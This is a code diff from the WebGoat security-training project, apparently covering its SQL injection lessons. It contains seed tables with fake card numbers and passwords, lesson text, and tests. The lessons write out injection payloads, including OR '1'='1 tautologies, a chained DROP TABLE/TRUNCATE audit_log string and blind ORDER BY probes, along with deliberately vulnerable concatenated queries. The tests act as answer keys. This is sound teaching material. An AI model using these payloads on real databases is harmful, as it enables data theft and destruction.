INSERT INTO user_data VALUES (102,'John','Smith','2435600002222','MC',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (102,'John','Smith','4352209902222','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (103,'Jane','Plane','123456789','MC',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (103,'Jane','Plane','333498703333','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (10312,'Jolly','Hershey','176896789','MC',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (10312,'Jolly','Hershey','333300003333','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','673834489','MC',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','33413003333','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (15603,'Peter','Sand','123609789','MC',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (15603,'Peter','Sand','338893453333','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (15613,'Joesph','Something','33843453533','AMEX',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (15837,'Chaos','Monkey','32849386533','CM',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (19204,'Mr','Goat','33812953533','VISA',' ',0);
|
@ -0,0 +1,10 @@
|
|||||||
|
CREATE TABLE salaries(
|
||||||
|
userid varchar(50),
|
||||||
|
salary int
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO salaries VALUES ('jsmith', 20000);
|
||||||
|
INSERT INTO salaries VALUES ('lsmith', 45000);
|
||||||
|
INSERT INTO salaries VALUES ('wgoat', 100000);
|
||||||
|
INSERT INTO salaries VALUES ('rjones', 777777);
|
||||||
|
INSERT INTO salaries VALUES ('manderson', 65000);
|
@ -0,0 +1,14 @@
|
|||||||
|
CREATE TABLE user_data_tan (
|
||||||
|
userid int not null,
|
||||||
|
first_name varchar(20),
|
||||||
|
last_name varchar(20),
|
||||||
|
cc_number varchar(30),
|
||||||
|
cc_type varchar(10),
|
||||||
|
cookie varchar(20),
|
||||||
|
login_count int,
|
||||||
|
password varchar(20)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO user_data_tan VALUES (101,'Joe','Snow','987654321','VISA',' ',0, 'banana');
|
||||||
|
INSERT INTO user_data_tan VALUES (102,'Jane','Plane','74589864','MC',' ',0, 'tarzan');
|
||||||
|
INSERT INTO user_data_tan VALUES (103,'Jack','Sparrow','68659365','MC',' ',0, 'sniffy');
|
@ -0,0 +1,10 @@
|
|||||||
|
CREATE TABLE sql_challenge_users(
|
||||||
|
userid varchar(250),
|
||||||
|
email varchar(30),
|
||||||
|
password varchar(30)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO sql_challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows');
|
||||||
|
INSERT INTO sql_challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly');
|
||||||
|
INSERT INTO sql_challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**');
|
||||||
|
INSERT INTO sql_challenge_users VALUES ('eve', 'eve@webgoat.org', '**********');
|
@ -0,0 +1,12 @@
|
|||||||
|
CREATE TABLE user_system_data(
|
||||||
|
userid int not null primary key,
|
||||||
|
user_name varchar(12),
|
||||||
|
password varchar(10),
|
||||||
|
cookie varchar(30)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', '');
|
||||||
|
INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', '');
|
||||||
|
INSERT INTO user_system_data VALUES (103,'jplane','passwd3', '');
|
||||||
|
INSERT INTO user_system_data VALUES (104,'jeff','jeff', '');
|
||||||
|
INSERT INTO user_system_data VALUES (105,'dave','passW0rD', '');
|
@ -0,0 +1,20 @@
|
|||||||
|
CREATE TABLE employees(
|
||||||
|
userid varchar(6) not null primary key,
|
||||||
|
first_name varchar(20),
|
||||||
|
last_name varchar(20),
|
||||||
|
department varchar(20),
|
||||||
|
salary int,
|
||||||
|
auth_tan varchar(6)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO employees VALUES ('32147','Paulina', 'Travers', 'Accounting', 46000, 'P45JSI');
|
||||||
|
INSERT INTO employees VALUES ('89762','Tobi', 'Barnett', 'Development', 77000, 'TA9LL1');
|
||||||
|
INSERT INTO employees VALUES ('96134','Bob', 'Franco', 'Marketing', 83700, 'LO9S2V');
|
||||||
|
INSERT INTO employees VALUES ('34477','Abraham ', 'Holman', 'Development', 50000, 'UU2ALK');
|
||||||
|
INSERT INTO employees VALUES ('37648','John', 'Smith', 'Marketing', 64350, '3SL99A');
|
||||||
|
|
||||||
|
CREATE TABLE access_log (
|
||||||
|
id int not null primary key identity,
|
||||||
|
time varchar(50),
|
||||||
|
action varchar(200)
|
||||||
|
);
|
@ -116,7 +116,7 @@
|
|||||||
<input id="preview-input" type="text" name="username" val=""/>
|
<input id="preview-input" type="text" name="username" val=""/>
|
||||||
<div class="listingblock">
|
<div class="listingblock">
|
||||||
<div class="content">
|
<div class="content">
|
||||||
<pre>"SELECT * FROM USERS WHERE NAME = '<span id="input-preview" style="font-weight: bold;"></span>'";</pre>
|
<pre>"SELECT * FROM users WHERE name = '<span id="input-preview" style="font-weight: bold;"></span>'";</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script>
|
<script>
|
||||||
@ -151,7 +151,7 @@
|
|||||||
enctype="application/json;charset=UTF-8">
|
enctype="application/json;charset=UTF-8">
|
||||||
<table>
|
<table>
|
||||||
<tr>
|
<tr>
|
||||||
<td>SELECT * FROM USER_DATA WHERE FIRST_NAME = 'John' and LAST_NAME = '</td>
|
<td>SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '</td>
|
||||||
<td><select name="account">
|
<td><select name="account">
|
||||||
<option>Smith</option>
|
<option>Smith</option>
|
||||||
<option>'Smith</option>
|
<option>'Smith</option>
|
||||||
|
@ -5,7 +5,7 @@ public static String loadAccount() {
|
|||||||
// Parser returns only valid string data
|
// Parser returns only valid string data
|
||||||
String accountID = getParser().getStringParameter(ACCT_ID, "");
|
String accountID = getParser().getStringParameter(ACCT_ID, "");
|
||||||
String data = null;
|
String data = null;
|
||||||
String query = "SELECT FIRST_NAME, LAST_NAME, ACCT_ID, BALANCE FROM USER_DATA WHERE ACCT_ID = ?";
|
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
|
||||||
try (Connection connection = null;
|
try (Connection connection = null;
|
||||||
PreparedStatement statement = connection.prepareStatement(query)) {
|
PreparedStatement statement = connection.prepareStatement(query)) {
|
||||||
statement.setString(1, accountID);
|
statement.setString(1, accountID);
|
||||||
|
@ -7,7 +7,7 @@ public static bool isUsernameValid(string username) {
|
|||||||
|
|
||||||
// SqlConnection conn is set and opened elsewhere for brevity.
|
// SqlConnection conn is set and opened elsewhere for brevity.
|
||||||
try {
|
try {
|
||||||
string selectString = "SELECT * FROM USER_TABLE WHERE USERNAME = @userID";
|
string selectString = "SELECT * FROM user_table WHERE username = @userID";
|
||||||
SqlCommand cmd = new SqlCommand( selectString, conn );
|
SqlCommand cmd = new SqlCommand( selectString, conn );
|
||||||
if ( isUsernameValid( uid ) ) {
|
if ( isUsernameValid( uid ) ) {
|
||||||
cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
|
cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
|
||||||
|
@ -6,7 +6,7 @@ Answer: No it does not
|
|||||||
Let us take a look at the following statement:
|
Let us take a look at the following statement:
|
||||||
|
|
||||||
----
|
----
|
||||||
select * from users order by lastname;
|
SELECT * FROM users ORDER BY lastname;
|
||||||
----
|
----
|
||||||
|
|
||||||
If we look at the specification of the SQL grammar the definition is as follows:
|
If we look at the specification of the SQL grammar the definition is as follows:
|
||||||
@ -34,7 +34,7 @@ This means an `orderExpression` can be a `selectExpression` which can be a funct
|
|||||||
a `case` statement we might be able to ask the database some questions, like:
|
a `case` statement we might be able to ask the database some questions, like:
|
||||||
|
|
||||||
----
|
----
|
||||||
SELECT * FROM USERS ORDER BY (CASE WHEN (TRUE) THEN LASTNAME ELSE FIRSTNAME)
|
SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)
|
||||||
----
|
----
|
||||||
|
|
||||||
So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because
|
So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because
|
||||||
|
@ -5,7 +5,7 @@
|
|||||||
/* */ are inline comments
|
/* */ are inline comments
|
||||||
-- , # are line comments
|
-- , # are line comments
|
||||||
|
|
||||||
Example: SELECT * FROM USERS WHERE NAME = 'admin' --AND pass = 'pass'
|
Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
|
||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
@ -13,7 +13,7 @@ Example: SELECT * FROM USERS WHERE NAME = 'admin' --AND pass = 'pass'
|
|||||||
----
|
----
|
||||||
; allows query chaining
|
; allows query chaining
|
||||||
|
|
||||||
Example: SELECT * FROM USERS; DROP TABLE USERS;
|
Example: SELECT * FROM users; DROP TABLE users;
|
||||||
----
|
----
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
@ -21,7 +21,7 @@ Example: SELECT * FROM USERS; DROP TABLE USERS;
|
|||||||
',+,|| allows string concatenation
|
',+,|| allows string concatenation
|
||||||
Char() strings without quotes
|
Char() strings without quotes
|
||||||
|
|
||||||
Example: SELECT * FROM USERS WHERE NAME = '+char(27) OR 1=1
|
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
|
||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ of the first column in the second (third, fourth, ...) SELECT Statement. The Sam
|
|||||||
|
|
||||||
[source]
|
[source]
|
||||||
------
|
------
|
||||||
SELECT FIRST_NAME FROM USER_SYSTEM_DATA UNION SELECT LOGIN_COUNT FROM USER_DATA;
|
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
|
||||||
------
|
------
|
||||||
|
|
||||||
The UNION ALL Syntax also allows duplicate Values.
|
The UNION ALL Syntax also allows duplicate Values.
|
||||||
@ -50,7 +50,7 @@ The Join operator is used to combine rows from two ore more tables, based on a r
|
|||||||
|
|
||||||
[source]
|
[source]
|
||||||
-----
|
-----
|
||||||
SELECT * FROM USER_DATA INNER JOIN USER_DATA_TAN ON USER_DATA.USERID=USER_DATA_TAN.USERID;
|
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
|
||||||
-----
|
-----
|
||||||
|
|
||||||
For more detailed information about JOINS visit: https://www.w3schools.com/sql/sql_join.asp
|
For more detailed information about JOINS visit: https://www.w3schools.com/sql/sql_join.asp
|
@ -23,14 +23,14 @@ suppose we have the following url: `https://my-shop.com?article=4`
|
|||||||
On the server side this query will be translated as follows:
|
On the server side this query will be translated as follows:
|
||||||
|
|
||||||
----
|
----
|
||||||
SELECT * FROM ARTICLES WHERE ARTICLE_ID = 4
|
SELECT * FROM articles WHERE article_id = 4
|
||||||
----
|
----
|
||||||
|
|
||||||
When we want to exploit this we change the url into: `https://shop.example.com?article=4 AND 1=1`
|
When we want to exploit this we change the url into: `https://shop.example.com?article=4 AND 1=1`
|
||||||
This will be translated to:
|
This will be translated to:
|
||||||
|
|
||||||
----
|
----
|
||||||
SELECT * FROM ARTICLES WHERE ARTICLE_ID = 4 and 1 = 1
|
SELECT * FROM articles WHERE article_id = 4 and 1 = 1
|
||||||
----
|
----
|
||||||
|
|
||||||
If the browser will return the same page as it used to when using `https://shop.example.com?article=4` you know the
|
If the browser will return the same page as it used to when using `https://shop.example.com?article=4` you know the
|
||||||
|
@ -4,16 +4,16 @@ These are the best defense against SQL injection. They either do not have data
|
|||||||
|
|
||||||
=== Static Queries
|
=== Static Queries
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
SELECT * FROM PRODUCTS;
|
SELECT * FROM products;
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
|
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
SELECT * FROM USERS WHERE USER = "'" + session.getAttribute("UserID") + "'";
|
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
|
|
||||||
=== Parameterized Queries
|
=== Parameterized Queries
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
String query = "SELECT * FROM USERS WHERE LAST_NAME = ?";
|
String query = "SELECT * FROM users WHERE last_name = ?";
|
||||||
PreparedStatement statement = connection.prepareStatement(query);
|
PreparedStatement statement = connection.prepareStatement(query);
|
||||||
statement.setString(1, accountName);
|
statement.setString(1, accountName);
|
||||||
ResultSet results = statement.executeQuery();
|
ResultSet results = statement.executeQuery();
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
|
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
|
||||||
AS
|
AS
|
||||||
SELECT CITY, COUNT(*)
|
SELECT city, COUNT(*)
|
||||||
FROM CUSTOMERS
|
FROM customers
|
||||||
WHERE COUNTRY LIKE @Country GROUP BY CITY
|
WHERE country LIKE @Country GROUP BY city
|
||||||
|
|
||||||
|
|
||||||
EXEC ListCustomers ‘USA’
|
EXEC ListCustomers ‘USA’
|
||||||
@ -17,7 +17,7 @@ EXEC ListCustomers ‘USA’
|
|||||||
CREATE PROEDURE getUser(@lastName nvarchar(25))
|
CREATE PROEDURE getUser(@lastName nvarchar(25))
|
||||||
AS
|
AS
|
||||||
declare @sql nvarchar(255)
|
declare @sql nvarchar(255)
|
||||||
set @sql = 'SELECT * FROM USERS WHERE
|
set @sql = 'SELECT * FROM users WHERE
|
||||||
LASTNAME = + @LastName + '
|
lastname = + @LastName + '
|
||||||
exec sp_executesql @sql
|
exec sp_executesql @sql
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
|
@ -12,8 +12,8 @@ RecordSet rs = null;
|
|||||||
try {
|
try {
|
||||||
pUserName = request.getParameter("UserName");
|
pUserName = request.getParameter("UserName");
|
||||||
if ( isUsernameValid (pUsername) ) {
|
if ( isUsernameValid (pUsername) ) {
|
||||||
ps = conn.prepareStatement("SELECT * FROM USER_TABLE
|
ps = conn.prepareStatement("SELECT * FROM user_table
|
||||||
WHERE USERNAME = ? ");
|
WHERE username = ? ");
|
||||||
ps.setString(1, pUsername);
|
ps.setString(1, pUsername);
|
||||||
rs = ps.execute();
|
rs = ps.execute();
|
||||||
if ( rs.next() ) {
|
if ( rs.next() ) {
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
The query in the code builds a dynamic query as seen in the previous example. The query is build by concatenating strings making it susceptible to String SQL injection:
|
The query in the code builds a dynamic query as seen in the previous example. The query is build by concatenating strings making it susceptible to String SQL injection:
|
||||||
|
|
||||||
------------------------------------------------------------
|
------------------------------------------------------------
|
||||||
"SELECT * FROM USER_DATA WHERE FIRST_NAME = 'John' AND LAST_NAME = '" + lastName + "'";
|
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
|
||||||
------------------------------------------------------------
|
------------------------------------------------------------
|
||||||
|
|
||||||
Using the form below try to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.
|
Using the form below try to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection:
|
The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection:
|
||||||
|
|
||||||
--------------------------------------------------
|
--------------------------------------------------
|
||||||
"SELECT * FROM USER_DATA WHERE LOGIN_COUNT = " + Login_Count + " AND USERID = " + User_ID;
|
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
|
||||||
--------------------------------------------------
|
--------------------------------------------------
|
||||||
|
|
||||||
Using the two Input Fields below, try to retrieve all the data from the users table.
|
Using the two Input Fields below, try to retrieve all the data from the users table.
|
||||||
|
@ -12,9 +12,9 @@ If an attacker uses SQL injection of the DML type to manipulate your database, h
|
|||||||
* DELETE - Delete all records from a database table
|
* DELETE - Delete all records from a database table
|
||||||
* Example:
|
* Example:
|
||||||
** Retrieve data:
|
** Retrieve data:
|
||||||
** SELECT PHONE +
|
** SELECT phone +
|
||||||
FROM EMPLOYEES +
|
FROM employees +
|
||||||
WHERE USERID = 96134;
|
WHERE userid = 96134;
|
||||||
** This statement delivers the phone number of the employee with the userid 96134.
|
** This statement delivers the phone number of the employee with the userid 96134.
|
||||||
|
|
||||||
=== It is your turn!
|
=== It is your turn!
|
||||||
|
@ -3,8 +3,8 @@
|
|||||||
==== Here are some examples of what a hacker could supply to the input field to perform actions on the database that go further than just reading the data of a single user:
|
==== Here are some examples of what a hacker could supply to the input field to perform actions on the database that go further than just reading the data of a single user:
|
||||||
|
|
||||||
* `+Smith’ OR '1' = '1+` +
|
* `+Smith’ OR '1' = '1+` +
|
||||||
results in `+SELECT * FROM USERS WHERE NAME = 'Smith' OR TRUE;+` and that way will return all entries from the users table
|
results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;+` and that way will return all entries from the users table
|
||||||
* `+Smith’ OR 1 = 1; --+` +
|
* `+Smith’ OR 1 = 1; --+` +
|
||||||
results in `+SELECT * FROM USERS WHERE NAME = 'Smith' OR TRUE;--';+` and that way will return all entries from the users table
|
results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;--';+` and that way will return all entries from the users table
|
||||||
* `+Smith’; DROP TABLE USERS; TRUNCATE AUDIT_LOG; --+` +
|
* `+Smith’; DROP TABLE users; TRUNCATE audit_log; --+` +
|
||||||
chains multiple SQL-Commands and deletes the USERS table as well as entries from the audit_log
|
chains multiple SQL-Commands and deletes the USERS table as well as entries from the audit_log
|
||||||
|
@ -24,7 +24,6 @@ package org.owasp.webgoat.sql_injection;
|
|||||||
|
|
||||||
import org.junit.Before;
|
import org.junit.Before;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
|
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
@ -22,19 +22,13 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.introduction;
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
import org.junit.Before;
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.is;
|
import static org.hamcrest.CoreMatchers.is;
|
||||||
import static org.mockito.Mockito.when;
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
|
@ -0,0 +1,45 @@
|
|||||||
|
/*
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||||
|
*
|
||||||
|
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
*
|
||||||
|
* Getting Source ==============
|
||||||
|
*
|
||||||
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
|
|
||||||
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
|
@RunWith(SpringJUnit4ClassRunner.class)
|
||||||
|
public class SqlInjectionLesson2Test extends SqlLessonTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void solution() throws Exception {
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack2")
|
||||||
|
.param("query", "SELECT department FROM employees WHERE userid=96134;"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
|
}
|
||||||
|
}
|
@ -28,6 +28,8 @@ import org.junit.Test;
|
|||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.mockito.junit.MockitoJUnitRunner;
|
import org.mockito.junit.MockitoJUnitRunner;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
||||||
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
|
|
||||||
@ -36,33 +38,13 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
|
|||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||||
|
|
||||||
@RunWith(MockitoJUnitRunner.class)
|
@RunWith(SpringJUnit4ClassRunner.class)
|
||||||
public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
|
public class SqlInjectionLesson5Test extends SqlLessonTest {
|
||||||
|
|
||||||
private MockMvc mockMvc;
|
|
||||||
|
|
||||||
@Before
|
|
||||||
public void setup() {
|
|
||||||
SqlInjectionLesson5 sql = new SqlInjectionLesson5();
|
|
||||||
init(sql);
|
|
||||||
this.mockMvc = standaloneSetup(sql).build();
|
|
||||||
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void grantSolution() throws Exception {
|
public void grantSolution() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||||
.param("_query","grant alter table to unauthorizedUser"))
|
.param("query","grant alter table to unauthorizedUser"))
|
||||||
.andExpect(status().isOk())
|
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
|
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void grantSolutionWithQuotes() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
|
||||||
.param("_query","grant alter table to \"unauthorizedUser\""))
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
|
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
@ -71,7 +53,7 @@ public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
|
|||||||
@Test
|
@Test
|
||||||
public void grantSolutionWithSingleQuotes() throws Exception {
|
public void grantSolutionWithSingleQuotes() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||||
.param("_query","grant alter table to 'unauthorizedUser';"))
|
.param("query","grant alter table to 'unauthorizedUser';"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
|
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
@ -80,7 +62,7 @@ public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
|
|||||||
@Test
|
@Test
|
||||||
public void grantSolutionWrong() throws Exception {
|
public void grantSolutionWrong() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||||
.param("_query","grant alter table to me"))
|
.param("query","grant alter table to me"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||||
}
|
}
|
||||||
|
@ -1,3 +1,25 @@
|
|||||||
|
/*
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||||
|
*
|
||||||
|
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
*
|
||||||
|
* Getting Source ==============
|
||||||
|
*
|
||||||
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.introduction;
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
import org.junit.Ignore;
|
import org.junit.Ignore;
|
||||||
@ -6,27 +28,21 @@ import org.junit.runner.RunWith;
|
|||||||
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.util.LinkedMultiValueMap;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.CoreMatchers.is;
|
import static org.hamcrest.CoreMatchers.is;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
